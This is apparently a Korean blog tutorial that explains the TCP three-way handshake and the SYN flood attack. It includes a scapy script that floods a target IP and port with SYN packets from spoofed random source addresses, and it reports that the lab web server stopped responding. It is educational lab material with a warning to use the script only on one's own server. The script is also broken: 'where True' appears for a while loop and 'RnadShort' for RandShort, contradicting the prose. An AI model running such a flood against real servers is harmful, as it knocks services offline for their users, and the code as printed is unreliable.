🤝SYN Flood (feat. 3 way hand-Shake)

DATE : 2024/2/3~4

What is SYN Flood?

SYN Flood 공격이 무엇인지 알아보기 위해 우선, 여기서 말하는 SYN이 무엇인지 알고 넘어가도록 하자.

우리가 사용하는 Web 이라는 서비스는 TCP protocol 을 사용하는 데

TCP는 신뢰를 중요 시 하는 프로토콜인 만큼 데이터를 주고 받기 전에 3 way handshake를 거친다.

🤝 3 way handshake

신뢰를 중요 시 한다는 건, 다른 말로 데이터를 안전하게 주고 받는 걸 보장한다는 뜻이다.

어떤 정보를 주고 받는 과정에서 상대가 들을 준비가 되어야 하기 때문에 이와 같은 과정을 수행한다.

(1) SYN

이제부터 얘기할 SYN과 ACK는 TCP packet 중에서도 header에 포함되는 비트 이름으로

SYN bit에 1이 들어가게 되면 SYN을 보내는 것이고

ACK bit에 1이 들어가게 되면 ACK를 보낸다고 하는데 동시에 두 개 다 보낼 수도 있다.

SYN bit는 3 way handshake 중에서 제일 처음에 전달되는 값으로

Client 쪽에서 서버 측에 대화를 청하는 packet이라 생각하면 된다.

"이제부터 데이터 주고 받을 건데, 너 내 요청 들을 준비 됐어?" 라고 물어보면서

연결할 준비가 되었는지 노크를 하는 단계라고 할 수 있다.

(2) ACK-SYN

Client가 서버에게 연결할 준비가 되었냐는 질문을 했으니 이젠 서버가 대답을 해줄 차례이다.

다만, Client에게도 연결할 준비가 되었는지 물어보기 위해서 SYN bit 또한 전달한다.

"나는 준비됐어, 너도 준비됐어?" 라는 의미로 ACK & SYN을 보내야 하는데

굳이 두 번으로 나눠서 보내기엔 번거로우니 한 번에 보내자! 해서 ACK-SYN을 한 번에 보내는 것!

(3) ACK

Server가 Client에게 자신은 연결할 준비가 되었고 너도 준비가 되었냐 물어왔기 때문에

그에 대한 대답을 보내는 단계이다.

(1) Client -> Server 연결 요청

(2) Server -> Client 대답 & 연결 요청

(3) Client -> Server 대답

이렇게 해서 총 3단계에 거쳐 데이터를 주고 받기 전, 확실하게 연결을 맺는 과정이 3 way handshake이다.

What is SYN Flood?

자! SYN이 무엇인지 알았으니 본 주제인 SYN Flood에 대해 알아보도록 하자.

앞서 3 way handshake 과정에 우리는 SYN -> ACK & SYN -> ACK 순서로 packet이 오고 간 걸 보았다.

SYN Flood는 이 과정에서 Client가 Server에게 SYN bit만 보내자는 게 핵심 포인트이다.

Client가 Server에게 연결을 하자고 SYN bit를 보내고 나면 Server는 ACK-SYN bit를 응답하고 나서

자신이 보낸 SYN에 대한 ACK bit를 기다리게 된다.

하지만 우리는 SYN만 보내고 ACK bit를 보내주지 않을 것이다.

이렇게 SYN만 계-속 보내고 Server의 SYN에 관한 ACK 응답은 보내지는 않는 걸, SYN Flood 라 한다.

SYN을 보낸다는 건, 연결을 하자는 뜻인데

연결하자고 해 놓고 서버가 준비됐냐고 묻는 질문에 대답을 안 하게 되면 다른 친구가 와서 "나랑 연결하자!"

말을 걸더라도 "잠깐! 나 선약 있어서 조금만 기다려" 하고

다른 친구와 대화하는 대신 SYN을 보낸 친구의 ACK를 우선순위에 두고 기다려 준다.

이러한 서버의 동작을 이용하여 다른 친구가 말을 걸어도 대답하지 못할 정도로

모든 연결을 채워버리기 위해 SYN을 무수히 많이 보내는 것이다.

python code : syn_flood.py

앞서 살펴본 내용을 토대로 DoS 공격을 실습 해보기 위한 간단한 코드를 작성해준다.

절대로 개인 서버가 아닌 다른 서버에 실행해서는 안 된다.

from scapy.all import * 

target_ip = "172.30.1.43"
target_port = 1018
total = 0

where True:
    ip_packet = IP()
    ip_packet.src = RandIP()
    ip_packet.dst = target_ip
    
    tcp_packet = TCP()
    tcp_packet.sport = RnadShort()
    tcp_packet.dport = target_port
    tcp_packet.flags = "S"
    
    packet = ip_packet / tcp_packet
    send(packet, verbose=0)
    
    total += 1
    print("Send packet... : {}".format(str(total)))

SYN Flood를 구현해보기 위함이 목적이기 때문에 코드가 아주 세련되거나 길지 않으니

전체적인 내용을 짚어보고 넘어 가자.

from scapy.all import * 

Syn Flood를 수행하기 위해서 본 저자는 정말 Syn만 보내고 싶기 때문에

이를 가능하게 해줄 scapy를 사용하기로 했다.

target_ip = "172.30.1.43"
target_port = 1018
total = 0

Syn Flood 공격을 수행할 대상 IP 주소와 Port 번호를 지정해준다.

total은 대상 서버에 보낸 packet 개수를 나타낼 변수이다.

where True:
    ip_packet = IP()
    ip_packet.src = RandIP()
    ip_packet.dst = target_ip
    
    tcp_packet = TCP()
    tcp_packet.sport = RnadShort()
    tcp_packet.dport = target_port
    tcp_packet.flags = "S"
    
    packet = ip_packet / tcp_packet
    send(packet, verbose=0)
    
    total += 1
    print("Send packet... : {}".format(str(total)))

이 코드를 실행하면 중간에 끊지 않는 이상, while문에 의해 계속해서 packet이 날아가게 된다.

ip_packet = IP()
ip_packet.src = RandIP()
ip_packet.dst = target_ip

우선 IP packet을 생성을 목적지 주소에는 대상 IP 주소를, 출발지 주소에는 랜덤하게 IP 주소를 할당해준다.

tcp_packet = TCP()
tcp_packet.sport = RnadShort()
tcp_packet.dport = target_port
tcp_packet.flags = "S"

다음으로 TCP packet을 생성해 Port 번호를 지정한다.

이번에도 출발지 Port 번호는 랜덤하게 할당하고 목적지 Port는 웹 서버로 열어둔 1018을 적어준다.

여기서 중요한 포인트는 flags이다.

SYN을 보내는 packet만 만들 생각이었기 때문에 SYN을 의미하는 "S"를 flags로 지정한다.

packet = ip_packet / tcp_packet
send(packet, verbose=0)

이후 packet을 send()로 보내주면 끝!

total += 1
print("Send packet... : {}".format(str(total)))

몇 개의 packet을 보냈는지 확인하기 위해 total을 출력하기로 했다.


대상으로 삼은 서버에서는 사용자가 자신의 아이디를 입력했을 때,

그 값을 그대로 화면에 출력하는 페이지가 동작하고 있다.

python3 syn_flood.py

앞서 작성한 코드를 실행시켜 SYN packet을 마구 보내주면

대략 1000개 안팎으로 SYN을 보냈을 때부터

사용자가 자신의 아이디를 입력하거나 페이지를 초기화 하더라도

열심히 링만 돌아갈 뿐 페이지에 응답이 없는 걸 확인할 수 있다.

이는 서버가 감당할 수 있는 개수 이상으로 SYN을 보내고 대답을 하지 않다 보니

이젠 다른 사용자가 말을 걸어도 응답해줄 정신 없이 SYN이 마구 마구 쌓이고 있다는 증거이다!

이처럼 SYN을 흘러 넘치게 보내 서버가 서비스를 제공하지 못하도록 만드는 공격이 바로,

이번 POST에 걸쳐 알아본 DoS! 중에서도 SYN Flood 공격이다!! 🤗

Last updated